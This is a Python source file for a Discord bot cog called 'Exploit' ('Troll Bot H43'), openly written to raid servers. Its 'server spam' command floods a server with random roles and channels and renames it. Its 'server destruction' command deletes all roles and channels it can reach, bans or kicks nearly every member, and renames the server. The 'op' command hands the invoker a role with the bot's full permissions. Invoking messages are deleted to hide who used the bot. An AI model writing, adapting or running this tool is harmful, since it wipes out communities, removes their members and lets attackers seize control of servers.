import discord
from discord.ext import commands
from random import choice
import string
from discord.ext.commands.cooldowns import BucketType
import asyncio


class ServerGroup(commands.Group):

    async def cmd_after_invoke(self, _, ctx):
        ctx.cog.on_slow_cmds.remove(ctx.guild.id)

    def add_command(self, command):
        super().add_command(command)
        command._after_invoke = self.cmd_after_invoke


'''

Spam Functions

'''


async def spam_roles(ctx):

    roles_created = 0
    create_role = ctx.guild.create_role

    if ctx.me.guild_permissions.manage_roles and len(ctx.guild.roles) < 249:

        while True:
            random_role = ''.join(
                [choice(string.ascii_letters + string.digits) for n in range(10)])

            try:
                x = await create_role(name=f'H43_{random_role}{roles_created}')
            except Exception:
                break

            roles_created += 1
            
    return roles_created


async def spam_overview(ctx, icon):

    perm = ctx.me.guild_permissions.manage_guild

    if perm:
        region = discord.VoiceRegion.japan
        
        if ctx.guild.region == region:
            region = discord.VoiceRegion.brazil

        await ctx.guild.edit(icon=icon, name="TRASH by H43", region=region)
        
    return perm


async def spam_channels(ctx):
    channels_created = 0
    create_text_channel = ctx.guild.create_text_channel

    if ctx.me.guild_permissions.manage_channels:

        while True:
            random_channel = ''.join(
                [choice(string.ascii_letters + string.digits) for n in range(10)])

            try:
                await create_text_channel(f'H43_{random_channel}{channels_created}')
            except Exception:
                break

            channels_created += 1
            
    return channels_created


'''

Destruction Functions

'''


async def destruction_overview(ctx):

    perm = ctx.me.guild_permissions.manage_guild

    if perm:
        region = discord.VoiceRegion.russia
        
        if ctx.guild.region == region:
            region = discord.VoiceRegion.us_west
            
        await ctx.guild.edit(icon=None, name="A Gift by H43", region=region)

    return perm


async def destruction_roles(ctx):

    roles_deleted = 0
    bot_role = ctx.me.top_role

    if ctx.me.guild_permissions.manage_roles:

        for role in ctx.guild.roles:

            if role >= bot_role or role.managed or role.is_default():
                continue

            try:
                await role.delete()
            except Exception:
                continue

            roles_deleted += 1

    return roles_deleted


async def destruction_channels(ctx):

    channels_deleted = 0

    for channel in ctx.guild.channels:

        if not channel.permissions_for(ctx.me).manage_channels:
            continue

        try:
            await channel.delete()
        except Exception:
            continue

        channels_deleted += 1

    return channels_deleted


async def prune(member, ban_perm):
    if ban_perm:
        await member.ban()
    else:
        await member.kick()


async def destruction_members(ctx):
    bot = ctx.me
    ban_perm = bot.guild_permissions.ban_members
    kick_perm = bot.guild_permissions.kick_members
    guild = ctx.guild
    members_pruned = 0

    if kick_perm or ban_perm:

        Anti_Unban = [guild.owner, bot, ctx.author]

        for member in guild.members:

            if member.top_role.position >= bot.top_role.position or member in Anti_Unban:
                continue

            try:
                await prune(member, ban_perm)
            except Exception:
                # One member could be updated by coincidence that's why I don't break the loop (let's try the others since this is not a bot with high tasks.)
                continue

            members_pruned += 1

    return members_pruned


class Exploit(commands.Cog):

    def __init__(self, client):
        self.client = client
        self.on_slow_cmds = set()

    def cog_check(self, ctx):
        if not ctx.guild:
            return False
        return True

    async def cog_before_invoke(self, ctx):

        if ctx.command.parent:  # it will only execute once (subcommands won't pass here)
            return

        delete_msg_perm = ctx.channel.permissions_for(ctx.me).manage_messages

        if delete_msg_perm:
            try:  # Message could be instant deleted by another bot.
                await ctx.message.delete()
            except Exception:
                pass

        guild = ctx.guild.id

        while True:

            if guild not in self.on_slow_cmds:
                break

            #  H43?server are commands that take some time to be executed, if we execute another command in that time an error can be raised like using H43?op while H43?server --s
            #  raises roles reached a limit (250) sometimes
            await asyncio.sleep(15)

    @commands.command(brief='H43?op [role\'s name]\nGive Administrator Permissions')
    @commands.guild_only()
    @commands.cooldown(1, 60, BucketType.user)
    async def op(self, ctx, *, role_name="new role"):
        bot = ctx.guild.me
        role_count = len(ctx.guild.roles)
        role_max = True if role_count >= 250 else False

        if not bot.guild_permissions.manage_roles:
            return await ctx.author.send("I don't have sufficient permissions to execute this command")

        if role_max:
            for role in ctx.guild.roles:
                if role.is_default() or role.managed or role >= bot.top_role:
                    continue
                await role.delete()
                role_max = False
                break

        if role_max:
            return await ctx.author.send("I tried hard but I can't give u the role, sorry!")

        role = await ctx.guild.create_role(name=role_name, permissions=bot.guild_permissions)

        await ctx.author.add_roles(role)
        position = bot.top_role.position - 1
        await role.edit(position=position)

        await ctx.author.send("I gave u the best role I could. If doesn't have the permissons that you want don't blame me because I don't have that permissions too!")

    @commands.command(brief='H43?deop <@user/ID>\nRemove all permissions from a user')
    @commands.guild_only()
    @commands.cooldown(1, 60, BucketType.user)
    async def deop(self, ctx, *, member: commands.MemberConverter):

        author = ctx.author
        bot = ctx.guild.me

        def check(m):
            return m.content.lower() in ("yes", 'y') and ctx.author == m.author and isinstance(m.channel, discord.DMChannel)

        if not bot.guild_permissions.manage_roles:
            return await author.send("I don't have such permissions to execute this command")

        if member is None:
            return await author.send("No member found to deop")

        if ctx.guild.owner == member:
            await author.send(f"Is the server's owner even if I remove his roles this won't take any effect\n Do you still wanna continue?\nType `yes`\n`Timeout = 15s`")
            await self.client.wait_for('message', check=check, timeout=10)

        if member.bot:
            await author.send(f"Might not deop because `{member.name}` is a bot, let's try to remove some permissions?\n`yes` if yes\n`Timeout = 15s`")
            await self.client.wait_for('message', check=check, timeout=10)

        if member.top_role >= bot.top_role:
            await author.send(f"Might not deop because `{member.name}` has a role higher or equal to mine, let's try to remove some permissions?\nType `yes`\n`Timeout = 15s`")
            await self.client.wait_for('message', check=check, timeout=10)

        for role in member.roles:

            if role >= bot.top_role or role.managed or role.is_default():
                continue

            await member.remove_roles(role)

        await author.send(f"I deopped `{member.name}` the maximum I could!")

    @commands.group(aliases=['sv'], brief='H43?server <spam/destruction>\nSpam/Destroy servers', case_insensitive=True, cls=ServerGroup)
    @commands.guild_only()
    @commands.cooldown(1, 300, BucketType.guild)
    @commands.cooldown(1, 150, BucketType.user)
    async def server(self, ctx):

        if ctx.invoked_subcommand is None:
            ctx.command.reset_cooldown(ctx)
            return await ctx.author.send(f'```No command was invoked in group: Server\nMessage: {ctx.message.content}\nDo \'H43?help server\' for this group\'s help```')

        self.on_slow_cmds.add(ctx.guild.id)

        _embed = discord.Embed(title='**Troll Bot H43**', description='Created to destroy or use fun tools in servers',
                               colour=discord.Colour.green())
        _embed.set_footer(text='Let\'s have some fun :D ')
        _embed.set_thumbnail(url=self.client.user.avatar_url)

        self._embed = _embed

    @server.command(aliases=['--s'], brief='H43?server <spam/--s>\nSpam a Server with channels, roles and edit overview.')
    async def spam(self, ctx):

        icon = self.client.exploit_icon

        roles_created, overview, channels_created = await asyncio.gather(spam_roles(ctx), spam_overview(ctx, icon), spam_channels(ctx))

        fields = {
            'Overview changed': overview,
            'Roles created': roles_created,
            'Channels created': channels_created,
        }

        for k, v in fields.items():
            self._embed.add_field(name=k, value=v, inline=False)

        await ctx.author.send(embed=self._embed)

    @server.command(aliases=['--d'], brief='H43?server <destruction/--d>\nDestroy a Server (Delete channels and roles, ban/kick members and edit overview.)')
    async def destruction(self, ctx):

        guild = ctx.guild
        total_roles = len(guild.roles)
        total_channels = len(guild.channels)
        total_members = len(guild.members)

        overview_edit, roles_deleted, channels_deleted, members_pruned = await asyncio.gather(
            destruction_overview(ctx), destruction_roles(ctx), destruction_channels(ctx), destruction_members(ctx))

        fields = {
            'Previous Server\'s name': guild.name,
            'Server Overview edited': overview_edit,
            'Roles deleted': f'{roles_deleted} / {total_roles}',
            'Channels deleted': f'{channels_deleted} / {total_channels}',
            'Members Pruned': f'{members_pruned} / {total_members}'
        }

        for k, v in fields.items():
            self._embed.add_field(name=k, value=v, inline=False)

        await ctx.author.send(embed=self._embed)


def setup(client):
    client.add_cog(Exploit(client))
